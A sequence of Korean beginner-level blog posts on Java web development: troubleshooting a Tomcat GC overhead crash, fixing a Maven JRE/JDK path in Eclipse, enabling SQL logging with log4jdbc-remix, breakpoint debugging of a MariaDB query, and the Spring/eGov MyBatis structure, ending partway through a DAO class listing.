1. 새벽이 아닌 주야간 워크 타임때, 그리고 불특정, 비규칙적인 시간에 서버가 다운이 된다.

2. CPU 사용량과 힙 메모리 점유율이 급격히 상승한다.

3. 서버 에러 로그에는 GC overhead limit exceeded 이 발생한다.

자 일단 에러로그에 GC 할 메모리가 부족하다고 되어있어서 GC에만 문제가 있었던건가 여기에만 집중했지만, 내 생각에는 이건 메모리가 부족해지고 나서, 즉 어떤 문제가 발생하고 그 이후에 파생된 현상이지 주 원인은 갑작스럽게 메모리를 차지한 어떤게 있을거라고 생각했다.

즉, 어떤 원인에 의해 메모리가 급격하게 사용되었고, 그 이후에 평소처럼 GC를 하려니 GC 리밋 로그를 띄운 것 이다. 나도 그랬지만, 보통 다른 사람들도 이 GC 리밋 에러 로그를 보고, 왜 GC 리밋 로그를 띄었을까..? 검색해보면 "서버 힙메모리가 부족하네요 ㅎㅎ" 이럴텐데 이렇게 접근해서는 해결 할 수 없는 문제였다. (내 케이스의 경우)

자. 정리하자면 GC 관련된 문제가 아닐꺼다, 무언가가 힙메모리를 엄청나게 차지하니까, 당연히 GC도 못하니 저 오류를 띄운거고, 우리는 앞으로 어떤 녀석이 힙메모리를 그 순간에 차지하고 있었는지를 찾아야한다.

앞으로 해야할게 바로 힙메모리 분석이다. 다음 포스팅을 통해서 힙메모리 분석을 어떻게 했고, 어떤게 원인이었으며, 어떻게 조치했는지에 대해서 알아보자

 

#톰캣 #WAS #오류 #다운 #종료 #꺼짐 #GC #overhead #limit #Exceeded #메모리릭 #메모리누수 #힙 #힙메모리 #메모리 #사용량 #점유률 #급등 #증가 #서버 #장애 #트러블 슈팅

반응형
반응형

 

 

 

  자 메이븐 빌드를 했는데 위처럼 JRE대신 JDK를 써보라는 오류가 발생했다.

 

  원인은 간단하다. JRE로 빌드를 못한다는거다. JDK로 경로를 다시 잡아주면 된다.

 

1. Installed JREs 재설정

 

 

 

  이클립스 상단 윈도우 버튼(1)을 누른뒤 Preferences버튼을(2) 눌러주자!

 

 

  1. 자바 탭을 누른다.

  2. Installed JREs 탭을 누른다.

  3. 여기를 보면 지금 Path가 JRE로 잡혀있다.. 분명... 나랑 환경설정하면서 JDK도 설치했는데 왜..! JRE로 잡고 있는거야 ㅡㅡ.... 그래서.. 수동으로 Path를 잡아줘야한다.

  4. Add 버튼을 눌러주자.

 

 

  1. 창이나오면 Standard VM으로 나와있을텐데 그냥 두면된다.

  2. 바로 Next를 눌러 넘어가주자.

 

 

  1. 자 여기서 JDK 경로를 잡아달라고 하는데 메뉴명을보면 JRE home이다. 뭐야 ㅡㅡ JDK를 잡으라는거야 JRE를 잡으란거야 생각이 들 것이다. 왜냐면 나도그랬으니까. 이건 JDK폴더 안에 있는 JRE폴더를 잡아주면 된다. 1번 박스에 나온 경로대로 보통 C드라이브-프로그램파일-JAVA폴더를 가면 JDK폴더가 있을것이다. 그폴더를 열어서 그 폴더 내부에 있는 JRE폴더로 잡아주자.

 

  혹시나 JDK가 없는거 같다!! 하는사람은

https://extsdd.tistory.com/49

 

[스프링/전자정부 프레임워크 입문] #3 개발환경 셋팅 / JDK1.8 / 전자정부 프레임워크 설치

1. JDK 설치 2. 전자정부 프레임워크 설치 1. JDK 설치 1. JDK 설치 비전공자들을 위해 JDK가 무엇인지 간단하게 알아보자. 전편 글들을 읽으면 분명 우리가 사용하려고하는 프레임워크는 JAVA 플랫폼 ��

extsdd.tistory.com

  위 포스팅을 참조해 JDK를 설치하면 되겠다.

 

  2. 다시 본론으로 돌아와서, JDK폴더안에있는 JRE경로를 잡아주면 자동으로 2번 박스에 jar파일들이 잡힌다. 뭐 신경쓸건 없다. 그냥 아~ 제대로 인식하는구나~ 하면된다.

  3. Finish버튼을 눌러주자.

 

 

  1. 뚜둔! 이제야 jdk Path가 생겼다 새로 생긴 jdk경로에 체크박스를 해주고 (체크박스 꼭 해야함!)

  2. Apply를 눌러주자!

  3. 이제 Installed JREs 설정은 끝났다. 저 탭 옆에 있는 화살표를 눌러주자.

2. Execution Envirionment 재설정

 

 

 

  1. 마지막 설정이다 아까 설정했던 Installed JREs 하위에 있는 Execution Envirionment 탭을 눌러주자.

  2. 자기가 설치한 JDK의 버전을 따라가면되는데 난 JDK1.8이니 JavaSE-1.8을 선택!

  3. 그럼 아까 추가한 JDK Path를 체크해주자!

  4. 이제 진짜 끝! APply and Close를 눌러주자!

3. 결과 확인

 

 

 

  자 메이븐 빌드가 제대로 되는지 보기위해 일단 백지부터 시작하기 위해서 Maven Clean을 진행해주자

 

 

  일단 Clean은 완료!

 

 

  이제 우리가 추가한 JDK를 제대로 인식하는지 보기위해서 Maven test를 돌려보자!

 

 

 

  우왕..! 빌드 성공!! 아까 문제가 됐던 JRE, JDK 경로 오류는 나타나지 않는다!

 

#스프링 #전자정부프레임워크 #메이븐 #빌드 #실패 #Maven #Build #Failed

 

반응형
반응형

 

https://extsdd.tistory.com/114

 

[Spring/eGov] #9 이클립스에서 마리아DB 데이터 Select 과정 디버깅하기 / 디버깅 방법 / Debug / 디버그

https://extsdd.tistory.com/113 [Spring/eGov ] #8 이클립스에서 마리아DB 데이터 조회하기 / MyBatis / 컨트롤러 Controller / 서비스 / DAO / https://extsdd.tistory.com/112 [Spring/eGov ] #7 스프링, 전자..

extsdd.tistory.com

  자 우리가 저번까지 DB에서 데이터를 조회해보고 잘 되는지 확인헀다.

 

 

  하지만 쿼리를 조회하더라도 Console창에 찍히는게 없어서, 실제로 어떤 구문이 실행됐는지, 결과는 나왔는지 알 수가 없어 빠른 분석이 불가능했다.

 

  하지만 Log4j2.xml을 수정해서 쿼리를 조회할때 어떤 쿼리를 조회하는지, 결과는 어떤지 알 수 있게 해보자.

 

1. Log4jdbc-remix 라이브러리 추가

 

 

 

  자 본인 프로젝트에 있는 pom.xml을 열어보자. 저번 시간까지는 그냥 전자정부 프레임워크가 미리 설정해두었던 log4jdbc 라이브러리를 추가해놨었지만, 저 라이브러리 말고 log4j2-remix 라이브러리로 바꿔주자. 위에 나온건 주석처리하고 아래 코드를 그 밑에 추가해주자.

        <dependency>
		    <groupId>org.lazyluke</groupId>
		    <artifactId>log4jdbc-remix</artifactId>
		    <version>0.2.6</version>
		</dependency>

 

 

 

  그럼 위 사진과 같이 변했을 것이다. 기존 lof4jdbc 라이브러리는 주석처리해주고 밑에 새로 log4jbc-remix 라이브러리를 넣어줬당 ㅎㅎ저장을 해주면 라이브러리가 추가된다.

2. log4j2.xml 수정

 

  자 리소스 열기(Ctrl+Shift+R)를 이용해 log4j2.xml 을 열어주자.

 

 

  위와 같은 코드로 작성되어 있을텐데 보면 로그 레벨들이 다 Info위주라 많은 정보들을 안보여주고 있다.

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d %5p [%c] %m%n" />
        </Console>
    </Appenders>
    <Loggers>
       <Logger name="java.sql" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
        <Logger name="egovframework" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
          <!-- log SQL with timing information, post execution -->
        <Logger name="jdbc" level="OFF" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
        <Logger name="org.apache.commons.digester" level="ERROR" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
      
         <Logger name="jdbc.sqlonly" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
         <Logger name="jdbc.resultsettable" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>
        <Logger name="org.springframework" level="INFO" additivity="false">
            <AppenderRef ref="console" />
        </Logger>

        <Logger name="org.springframework.web" level="DEBUG" additivity="false">
            <AppenderRef ref="console" />
        </Logger>

        <Root level="DEBUG">
            <AppenderRef ref="console" />
        </Root>
    </Loggers>
</Configuration>

 

  위 코드를 통째로 복붙하고 저장해준다.

 

3. context-datasource.xml 수정

 

  자 리소스 열기(Ctrl+Shift+R)를 이용해 context-datasource.xml을 열어주자.

 

 

  자 데이터 소스가 저렇게 선언되어 있을텐데. 이제 코드를 수정해서 저 dataSource를 가로채서 log4jdbc가 더 상세히 로그를 남길 수 있도록 수정할 것이다.

	<bean id="dataSource_main" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close">
 		<property name="driverClassName" value="org.mariadb.jdbc.Driver"/>
        <property name="url" value="jdbc:mariadb://127.0.0.1:3306/cp_service_db" />
        <property name="username" value="root"/>
        <property name="password" value="비밀번호"/>
    </bean>
    <bean id="dataSource" class="net.sf.log4jdbc.Log4jdbcProxyDataSource">
		<constructor-arg ref="dataSource_main" />
		<property name="logFormatter">
			<bean class="net.sf.log4jdbc.tools.Log4JdbcCustomFormatter">
				<property name="loggingType" value="MULTI_LINE" />
				<property name="sqlPrefix" value="\n"/>
			</bean>
		</property>
	</bean> 

 

  저 빨간 박스 부분만 드레그해서 위 코드로 바꿔주자.

 

 

  저런식으로 바뀌었을텐데 바뀐걸 보면 기존 dataSource로 id가 할당된 친구를 dataSource_main으로 바꿔줬고, 원래 필요했던 dataSource는 Log4jdbc한테 주고 위에 이름바꿨던 dataSource_main을 참조하는 것을 알 수 있다. 저장해주자!

4. 결과 확인

 

 

  자. 프로젝트를 Clean하고 Debug모드로 서버를 실행하고, 테스트로 http://localhost:8080/reqUrl.do?reqParam=3요청을 해보자.

 

 

 

 

  콘솔 로그를 보면, 1번 박스에 어떤 쿼리를 조회하는지 2번 박스에 실제 ?에 Mapping이 되서 실제로 DB에서 조회되는 쿼리가 먼지, 3번 박스에는 그 쿼리 조회결과는 어떤지가 콘솔창에 찍히게 된다.

 

  만약 요청을 처리할때 조회되는 데이터가 이상하다 싶을때는 어떤 쿼리가 실행되는지, 저 쿼리문을 긁어서 HeidiSql같은 툴로 실제로 DB에서 돌려보고 하면 디버깅 실력이 쑥쑥 늘어날 수 있다.

 

#스프링 #전자정부프레임워크 #데이터베이스 #쿼리 #조회결과 #콘솔 #출력 #Log4j2 #Log4jdbc #결과출력

 

 

 

 

 

 

 

 

 

 

반응형
반응형

 

https://extsdd.tistory.com/113

 

[Spring/eGov ] #8 이클립스에서 마리아DB 데이터 조회하기 / MyBatis / 컨트롤러 Controller / 서비스 / DAO /

https://extsdd.tistory.com/112 [Spring/eGov ] #7 스프링, 전자정부프레임워크 샘플 예제- 마이바티스(MyBatis)로 마리아 DB 연동하기 / https://extsdd.tistory.com/102 [Spring/eGov ] #6 웹 서비스 만들기 2..

extsdd.tistory.com

  자 저번시간까지 우리가 만든 마리아 DB를 내 스프링 프로젝트와 연동했고, 테스트로 데이터도 넣고, 컨트롤러에서 select까지 해보면서 포스팅을 마쳤다.

 

  오늘 알아볼껀 실제로 어떻게 데이터가 오고가는지 간단하게 디버깅을 해보려고한다. 혹시 아직 디버깅이 뭔지 모르는 분들은 아래 포스팅을 보고오면 될 것 같다. 거기에 간단하게 BreakPoint를 설정하고 진행하는 방법이 있으니 이 포스팅에선 굳이 또 한번 더 설명하진 않겠다.

https://extsdd.tistory.com/102

 

[Spring/eGov ] #6 웹 서비스 만들기 2 / 요청 URL 파라미터 가져오기 / Debug 방법 / 디버깅 하는법 / @Model

 

extsdd.tistory.com

1. 중단점(BreakPoint) 설정

 

 

 

  자 우리 컨트롤러에 저 26번 줄에 커서를 대고 Ctrl+Shift+B 단축키를 눌러 중단점을 걸어주자

2. 서버 Debug 모드로 실행

 

 

 

  자 우리가 디버깅을 하려면, 서버도 Debug모드로 켜져있어야 들여다 볼 수 있다. 디버그 모드로 실행하기 위해 서버를 클릭하고 Run(재생버튼)이 아닌 옆에 벌레모양의 Debug 버튼을 눌러서 실행해주자!

3. URL 요청

 

  자 이제 우리가 만든 요청을 어떻게 처리하는지 보기위해 아래 링크를 요청해보자

  http://localhost:8080/reqUrl.do?reqParam=3

  reqUrl.do에 reqParam에 3이라는 값을 담아서 요청했다 엔터를 누르는 순간

 

 

  하단에 이클립스가 주황색으로 변하면서 보라고!! 몸부림 친다. 이클립스를 눌러보자.

 

 

  26번째 줄이 초록색으로 변해있다. 지금 이 서버가 저 요청을 처리하기위해 저 26번째 줄에 멈춰있다는 것이다. 여기서 F8을 누르면 그냥 진행이 되고, F6을 누르면 한줄씩 진행이 되고, F5를 누르면 저 함수 내부로 들어가게 된다. 일단 우리가 확인할 것부터 확인하자.

 

 

  자 우리가 reqUrl.do를 처리할때 1번 박스를 보면 들어오는 데이터를 FwdVO객체에 맵핑해서 가져오는 걸로 되어있다. 그럼 저 26번째줄이 실행되기 직전 값이 제대로 들어왔는지 볼까?

 

  우측 Variable탭의 2번 박스를 보면 현재 searchVO라는 객체에 어떤 값들이 할당되어있는지 보인다. 펼쳐서 보면 reqParam에 3이라는 값을 정상적으로 mapping 해서 가져온걸 볼 수 있다. 이건 ,http://localhost:8080/reqUrl.do?reqParam=3이걸 실행할 때 reqParam=3 이란걸 보고 FwdVO안에 있는 reqParam이라는 변수와 이름을 매칭시켜 가지고 온것이다.

 

  3번 박스를 보면 자바에서 정상적으로 해당 요청값을 받아온 것을 볼 수 있다. 일단 우리가 여기까지 정리할껀, 현재 searchVO에 reqParam이 3의 값으로 요청이 들어왔단거다.

 

 

  자 그럼 다시 중단점이 걸린 26번째 줄을 다시보면 저기 selectTargetUrl()함수가실행되는데 보면 함수안에 저 searchVO 객체를 넣어주는 것을 볼 수 있다. 즉 아까 위에서 봤던 reqParam이 3으로 셋팅된 searchVO객체를 쿼리돌리는 함수에 변수로 넣어준다는 거다.

 

 

  더 구체적으로 보면 1번 번박스에 쿼리를 요청하면서 searchVO라는 객체를 input으로 같이 넣어주는데 그 객체를 살펴보면 2번을 보자, 지금 searchVO에 들어가 있는 값들인데 3번을 보면 객체 타입이 FwdVO로 되어있고 , 해당 쿼리문이 Mapping 되어있는 fwdSql.xml에서 해당 쿼리를 보면 3번 박스처럼 파라미터 형이 FwdVO로 같은 것을 볼 수 있다. 그럼 저 쿼리가 실행될때 자동으로 들어오는 변수들을 FwdVO의 형태로 받아들인 다는 것이다.

 

  자 그럼 이 쿼리가 FwdVO의 형태로 Input이 들어오고 4번 박스를 보면 FwdVO에있는 reqParam이라는 변수를 fwdSql.xml에서 동일하게 쓰는것을 알 수 있다. 이렇게 VO에서 불러온 변수를 쓰려면 #{변수명} 형태로 쓸 수 있게 된다. 현재 searchVO에 reqParam이 3으로 들어있으니 저 fwdSql.xml에 들어있는 쿼리문이 실행될때도 자동으로 mapping 된 값을 가져와 WHERE PM.SEQ_NO = 3으로 마이바티스가 처리할 것이다.

 

  여기까지 알아봤으니 한번 F6을 눌러 저 26번째줄을 실행시켜보자.

 

 

 

 

  자 26번째 줄을 실행하니 커서는 다음 코드인 28번째 줄로 이동했고, 좌측 Variable 탭을보면 방금 26번째 줄을 수행함으로써 변경된 데이터들이 최신화되었다. 한번보자.

 

  1번 박스를 보면 아까 26번째 줄을 실행하면서 쿼리 조회한 결과가 resulstList라는 변수에 들어갔다. 그 resultsList라는 변수를 보기위해 Variable탭에 2번 박스를 눌러보자. 그럼 3번에 어떤 내용을 담고 있는지 나온다. 이 결과는 어디서 온걸까?

 

  우리가 fwdSql.xml 에 쿼리를 작성해놨고 이 4번박스에 있는 쿼리가 실제로 실행된 것이다. #{reqParam}에는 VO에 들어있던 3이 들어갔을꺼고 실제로 DB에서 조회하는 쿼리는 5번과 같이 작성됐을 것이다. 이걸 HeidiSQL에서 실제로 돌려보면 6번과 같은 결과가 조회된다.

 

  다시 3번으로 돌아가서, 아까 6번에서 조회된 DB데이터들을 온전히 불러온 것을 알 수 있다. 결론적으로 지금 1번 박스에있는 resultsList 변수에는 6번 박스에있는 SQL 조회 결과가 들어있는 것이다. 이제 이걸 어떻게 처리할까? 28번째줄도 마저 실행하기위해 F6을 눌러보자!

 

 

  커서는 다음 코드인 30번줄로 이동했고, 다시 데이터들이 최신화 됐다. 자 1번 구문을 통해서 resultsList에서 get(0)을 통해 가장 첫번째 데이터를 가져왔고 그 안에 들어있는 값들은 아까 우리가본 2번 박스다. 저기보면 key=value형태로 되어있는데 1번박스의 .get("urlStr")을보면 저 객체에서 저 urlStr칼럼을 가져오겠다는 뜻이다.

 

 그럼 저 3번 박스에 있는 Key에 해당하는 Value인 www.google.com을 가지고 오게 되는것이고 이 데이터가 1번 박스에 (String)형으로 형변환뒤 URL이라는 변수에 담기는 것이다. 4번박스를 보면 URL이라는 변수에 정상적으로 DB에서 조회한 www.google.com이 담긴 것을 볼 수 있다. 이제 마저 30번째줄인 return구문이후로 쭉 수행시키도록하기위해 F8 버튼을 눌러주자.

 

 

  보면 아까 했던 요청이 google 페이지를 열어준 것을 알 수 있다. redirect로 return했기 때문이다.

 

  앞으로도 이런식으로 값이 변하는 과정을 보면서 코딩을 하면 보다 쉽게, 보다 이해하기 쉽게 만들 수 있을 것이다.

 

  #스프링#전자정부프레임워크 #이클립스 #마리아DB #데이터조회 #Select #디버깅 #방법 #Debug

 

 

 

 

 

반응형
반응형

 

https://extsdd.tistory.com/112

 

[Spring/eGov ] #7 스프링, 전자정부프레임워크 샘플 예제- 마이바티스(MyBatis)로 마리아 DB 연동하기 /

https://extsdd.tistory.com/102 [Spring/eGov ] #6 웹 서비스 만들기 2 / 요청 URL 파라미터 가져오기 / Debug 방법 / 디버깅 하는법 / @Model extsdd.tistory.com 자 우리가 마지막으로 했던게 사용자 요청 URL..

extsdd.tistory.com

  자 저번 시간까지 이클립스와 Maria DB를 MyBatis라는 친구로 연동을 시켰다. 아. 전에 MyBatis가 먼지 설명을 안했는데 간단하게 설명하자면 과거에 JAVA코드로 쿼리로 DB에 있는 데이터를 조회하려고 하면, 소스안에 자바코드도 껴져있고, SQL쿼리문도 껴져있고, 개판처럼 만들어 놓고 썻기때문에 관리도 안됐던 문제가 있었다. 사실 머 문제라기보단 조 불편하고 효율적이지 않았던거지!

MyBatis

 

  하지만 쿼리문과 자바 구문들을 분리해놓으면서, 자바는 자바구문 끼리, 그리고 쿼리는 xml파일에 두고 namespace로 Mapping시켜 사용하게 하는 MyBatis방식이 나왔고 xml에 IF같은 태그가 가능해지면서 쿼리문도 동적으로 변화를 줄 수 있게 됐다. 그러면서 모든 Case의 쿼리를 안짜도 되고 이렇게 Flexible하게 코드를 짤 수 있으니 그야말로 효율을 극대화한 프레임워크라고 할 수 있다. 코드를 보면 머 iBatis도 있고 MyBatis도 있는데 iBatis는 아파치랑 붙어먹을때 쓰던 프레임워크고 구글로 넘어오면서 Mybatis를 쓰게 됐다고만 알고 있으면 될 것 같다.

 

  잔말 그만하고, 일단 MyBatis로 이클립스랑 마리아DB랑 연동이 안 된 사람은 위 포스팅으로 가서 설정을 하고오자. 다 된 사람이라면 이제 본격적으로 시작해보자.

1. 데이터 조회 구조 파악하기.

 

  자. 내가 웹 서비스에대해서 아무것도 모르고 회사에 와서 스프링 하세요! 했을때 완전 No Base인 상태에서 코드들을 따라갔을때 너무 복잡하게 느껴졌었다. 이게 왜 이렇게 되고, 이 코드가 어디랑 연관이 있고.. 거대한 숲에 혼자 떨어져서 내가 어디서 뭘하는지 모르는 그런 기분이었다.

 

  이제 일을 하다보니 스프링 구조에대해서 어느정도 윤곽이 잡혔고, 이제는 하늘에서 숲을 내려다 보듯이 구조와 흐름이 보이기 시작했다. 처음부터 내가 이런 윤곽을 알고 했으면 더 수월했을텐데, 이렇게 초보자들이 볼 수 있게 정리된 글들이 없었다 ㅠㅠ.. 그래서 내가 정리했다.! 초보자 시점에서 전체 윤곽을 그린 모습을!

 

  좀 어려울 수도 있는제 한번 흐름만 파악해보자.

 

 

 

  와..! 엄청 어렵고 복잡하다. 난생 웹서비스를 처음해보는 나는 이런 전체의 모습이 아닌 코드를 한줄한줄 따라가면서 고대 문자 해석하듯이 했을때는 얼마나 어려웠을까 생각해보길 바란다..ㅠㅠ

 

  어렵게 보이지만 스프링 웹 서비스의 구조는 딱 저렇다. 저기서 크게 벗어나지 않는다. 저기서 한개의 기능을 만들면 이제 복붙이고, 저 구조만 지켜지면 뭐든지 할 수 있다. 그러니까 포기하지 말고 따라오길 바란다.

 

  1 . 자 1번 박스는 스프링 프로젝트라고 생각하면 된다. 저기 16번 박스에 있는 DB를 제외하면 다 스프링 프로젝트 내의 소스로 돌리는 것이다. 1번은 별거 없다. 제일 큰 구조부터 접근해보기 위해서 번호를 넣어봤다 ㅎㅎ

Controller / 컨트롤러

 

  2. 아까까진 ice breaking이었고 여기서부터 진짜 시작이다.자 Controller 이름만 봐도 뭔가 파박! 떠오른다. 뭔가 조작하고 제어하고, 뭔가..! 뭔가를 수행하는넘! 맞다 Controller는 business(Biz) 적인 로직을 처리한다. Biz 로직이 머냐구!? 말그대로 사람이 이해할만한 "동작" 정도로 해석하면 될 꺼같은데 이런거다. 컴퓨터는 뭔가 데이터를 삽입, 삭제, 수정, 조회, 머 이런 원초적인 기능밖에 못하는데 컴퓨터가 아닌 우리 사람입장에서 기능이란, 뭔가 고객 데이터를 조회하거나, 게시판의 글 목록들을 불러오거나, 게시글을 클릭했을때 그 글을 보여줘! 처럼 사람이 이해할만한 "기능" 이라고 생각하면 되는 것이다. 좀 감이 왔나? 다시 정리하면 우리 인간들에게 기능다운 기능이란 삽입,삭제 뭐 이런 재미없는 것들을 말하는게 아니라, 그런 조회, 삽입, 삭제등 이런 컴퓨터의 기능들을 이용해 우리 인간세계게에서 통용될 수 있는 그런 기능을 작성하는 것이다. 예를들면 할머니한테 할머니! 제가 DB에서 Select 기능을 수행했어요! 하면 할머니는 뭔 개소리냐? 하고 반문할꺼지만, 할머니! 제가 어떤 예약이 있는지 조회했어요!! 한다면 할머니가 이해할 것이다. 차이점이 느껴지나..! 컴퓨터에는 "예약을 조회한다"는 기능이 없다! 예약정보가 어디있는지, 이걸 조회할지 삭제할지 이런건 다 인간이 정한거고 이 기능을 만들기 위한 로직을 Business 로직이라고 한다.

 

  자 Controller의 결론을 말하자면, 기능을 작성하는 곳이다! 이정도로 이해하면 될 것 같고, 로직은 그냥 짜면 된다 if어쩌고~ 아니면 저쩌고~ 쭈르륵 작성하는데 DB에서 데이터를 가져와야할꺼 아냐? 그 데이터를 가지고 오기 위한 놈이 Service(서비스)라는 놈이다. 예전 포스팅에서도 이 서비스란 놈을 좀 설명했는데, 특정 기능들의 데이터를 서리하는 집합체라고 생각하면 된다. 더 raw하게 써논 설명을 보고 싶다면

https://extsdd.tistory.com/99

 

[Spring/eGov] #3 스프링 기본 구조 / Sample 예제 프로젝트 분석 / 원리 / 전자정부프레임워크 / 컨트롤�

 

extsdd.tistory.com

  위 포스팅 중간쯤에 서비스란 무엇인가 이걸 참조하면 된다. 아무튼 서비스가 실제로 데이터들을 불러오기 위한 객체인데, 우리 Controller에서 필요한 정보들을 조회하기 위한 서비스를 미리 호출해놓고 쓴다.

 

  3. 자 3번 박스를 보면 그 컨트롤러의 실제 예시 코드를 캡쳐해 놓은 것이다. 구조를 보면 컨트롤러 fwdService를 미리 호출해놓고 5번 박스를 보면 그 객체로 8번 박스의 함수를 호출해서 데이터를 조회하는 것을 볼 수 있다. 조회된 데이터들은 17번에 있는 resultList에 담기고 그 밑으로 이 조회된 데이터를 기준으로 Biz 로직을 작성하면 하나의 기능이 되는 것이다.

 

  4. 자 보면 컨트롤러에 fwdService가 선언되었다. 앞으로 이 Controller에선 fedService가 할 수 있는 기능을 이용할 수 있게된다. 필요한 서비스를 이렇게 불러놓으면 되는 것이다.

 

  5. 4번에서 선언한 서비스를 실제로 로직에서 불러와 사용한 것이다.

 

  6. 그 서비스는 service 패키지 경로안에 ~~~~Service.java 형식으로 파일이 있을 것이다. 4번 박스처럼 fwdService라면 FwdService.java 라는 파일로 만들어 놨을 것이다.

 

  7. 이게 이 Service 파일의 구조인데, 보면 함수 이름정도만 선언되어있다.. 즉, 여기서 로직이 작성되진 않는다. 서비스에서 처리하는 로직은 ServiceImpl.java에서 구현된다. Impl 는 Implement정도로 해석하면되고, 말그대로 구현이다.

 

  8. 보면 아까 7번 서비스에서 선언된 기능을 Biz 로직단에서 호출하는 것을 볼 수 있다. 아까 말했듯이 이 구현은 ServiceImple.java에서 구현된다고 했으니까 계속 알아보자.

 

  9. 자 ServiceImpl.java로 오면 크게 구조가 DAO라는 친구가 선언되어 있다. 이건 나중에 알아보도록하고 실제 코드를 보자

 

  10. 자 실제로 serviceImpl.java를 와보자.보면 아까 우리가 7,8번에서 언급한 함수가 여기도 선언되어있다. 맞다 Interface로 선언된 친구다. 그 실제 로직을 보자

 

  11 .바로 이거다 DAO라는 친구를 이용해 selectList를 해오는 것이다. 보면 fwd.selectTargetUrl 이라는 쿼리를 수행하라고 되어있는데, fwd는 xml파일의 namespace를 말하는 것이고, 이 네임스페이스로가면 selectTargetUrl이라는 쿼리문이 있을것이다.

DAO (Data Access Object)

 

  먼저 DAO라는 친구를 알고가야한다. 발음은 "다오"라고 부른다. 개귀엽다 ㅎㅎ.. 암튼 이친구가 뭐하는 역할이냐면,DB와 COnnection을 이용해 데이터를 가져와 주는 놈이다. 과거에 코딩을 좀 해본사람이라면 Java 소스안에서 Connection을 맽고 조회하고, Connection을 끝고,, 이런 불필요한 코드들이 아주 많았고, 한번 조회할때마다 이 커넥션을 게속 작성해야해서 너무 불편했다. 하지만 이제 DAO라는 친구에서 조회할꺼면 select, 삽입할꺼면 insert 등.. 함수만 치면 이런 커넥션 알아서 맺고 조회하면 알아서 끝고 다해주는 친구다. 세부 구현은 어떻게됐는지 몰라도 된다. 특급 개발자들이 다 잘 구현해 놓았을테니까 ㅎㅎ 우리는 사용만 하면된다.

 

  12-1. 저 쿼리문을 MyBatis라는 저 fwd.selectTargetUrl이라는 문구를 보고 어디에 있는 파일에서 어떤 구문을 조회할지 Mapping해주는 역할을 해준다.

 

  12-2. 그럼 이 마이바티스를 통해서 fwd네임스페이스니 fwdSql.xml이란 파일을 뒤져서 거기있는 selectTragerUrl이란 쿼리문을 찾아온다.

 

13. 그게바로 이 13번 박스에 있는 id로 매핑시켜 찾아오는것이다.

 

  14. 자 그럼 마이바티스가 어떤 쿼리를 조회할지도 알아낸 것이다.

 

  15. 이제 본젹적으로 아까 말했던 DB랑 Connection을 맺는 DAO라는 친구를 통해, 마이바티스에서 넘겨받은 쿼리 구문들을 본격적으로 조회한다.

 

  16. DAO를 통해 DB에 접속한 단계이다. Connection이 맺어지면 아까 받은 쿼리들을 조회하고 그 결과를 DAO가 다시 가져온다. 그럼 역순으로 다시 11번 박스를 보면 그 조회 결과가 리턴되고, 이 리턴받은 데이터들은 8번 박스에 나온 저 함수에서 리턴되 결국 17번 박스에 있는 변수로 들어가게 되는것이다.

 

  17. 결국 조회된 데이터가 resultList라는 변수에 들어가고 우린 그걸 사용하면 된다.

 

결론 : 기능은 ~Controller.java, ~Service.java, ~ServiceImpl.java, ~VO.java(필요하다면), ~Sql.xml 가 세트로 다닌다고 생각하면 된다. 이렇게 한사이클 돌았는데, 나머지도 보면 다~~똑같다, 이해가 안돼도 되니 느낌만 알고 가도록 하자

2. CommonDAO.java 추가

 

  자 먼저 공통적으로 DB에서 커넥션을 맺어줄 DAO를 만들어보자!

 

 

  자 cmmn 패키지에 오른쪽마우스를 눌러 NEW-Class를 눌러주고 패키지 경로를 하나 만들어주자.

 

 

  자 패키지 경로명에 .dao를 추가해서 만들어주자.

 

 

  만들어진 dao 패키지에 새 클래스를 만들어주자.

 

 

  뚜둔~ 이름은 CommonDAO로 만들어주자!

 

 

  보면 dao 패키지 밑에 CommonDAO.java 파일이 생겼다! 열어보자!

 

 

귀여운 파일이 생겼다. 소스를 넣어 생기를 불어넣어주자.

package cpservice.cmmn.dao;

import java.util.List;
import java.util.Map;

import org.apache.ibatis.session.ResultHandler;
import org.apache.ibatis.session.RowBounds;
import org.springframework.stereotype.Repository;

import egovframework.rte.psl.dataaccess.EgovAbstractMapper;

@Repository("CommonDAO")
public class CommonDAO extends EgovAbstractMapper {

	/**
	 * 입력 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId -  입력 처리 SQL mapping 쿼리 ID
	 *
	 * @return DBMS가 지원하는 경우 insert 적용 결과 count
	 */
	public int insert(String queryId) {
		return super.getSqlSession().insert(queryId);
	}

	/**
	 * 입력 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId -  입력 처리 SQL mapping 쿼리 ID
	 * @param parameterObject - 입력 처리 SQL mapping 입력 데이터를 세팅한 파라메터 객체(보통 VO 또는 Map)
	 *
	 * @return DBMS가 지원하는 경우 insert 적용 결과 count
	 */
	public int insert(String queryId, Object parameterObject) {
		return super.getSqlSession().insert(queryId, parameterObject);
	}

	/**
	 * 수정 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 수정 처리 SQL mapping 쿼리 ID
	 *
	 * @return DBMS가 지원하는 경우 update 적용 결과 count
	 */
	public int update(String queryId) {
		return super.getSqlSession().update(queryId);
	}

	/**
	 * 수정 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 수정 처리 SQL mapping 쿼리 ID
	 * @param parameterObject - 수정 처리 SQL mapping 입력 데이터(key 조건 및 변경 데이터)를 세팅한 파라메터 객체(보통 VO 또는 Map)
	 *
	 * @return DBMS가 지원하는 경우 update 적용 결과 count
	 */
	public int update(String queryId, Object parameterObject) {
		return super.getSqlSession().update(queryId, parameterObject);
	}

	/**
	 * 삭제 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 삭제 처리 SQL mapping 쿼리 ID
	 *
	 * @return DBMS가 지원하는 경우 delete 적용 결과 count
	 */
	public int delete(String queryId) {
		return super.getSqlSession().delete(queryId);
	}

	/**
	 * 삭제 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 삭제 처리 SQL mapping 쿼리 ID
